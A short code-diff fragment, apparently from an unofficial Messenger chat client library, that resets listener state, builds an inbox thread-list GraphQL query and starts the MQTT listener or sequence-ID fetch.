+ if (!ctx.firstListen) ctx.lastSeqId = null;
1031
+ ctx.syncToken = undefined;
1032
+ ctx.t_mqttCalled = false;
1033
+
1034
+ //Same request as getThreadList
1035
+ form = {
1036
+ av: ctx.globalOptions.pageID,
1037
+ queries: JSON.stringify({
1038
+ o0: {
1039
+ doc_id: "3336396659757871",
1040
+ query_params: {
1041
+ limit: 1,
1042
+ before: null,
1043
+ tags: ["INBOX"],
1044
+ includeDeliveryReceipts: false,
1045
+ includeSeqID: true,
1046
+ },
1047
+ },
1048
+ }),
1049
+ };
1050
+
1051
+ if (!ctx.firstListen || !ctx.lastSeqId) getSeqID();
1052
+ else listenMqtt(defaultFuncs, api, ctx, globalCallback);
1053
+ ctx.firstListen = false;
1054
+ return msgEmitter;
1055
+ };
1056
+ };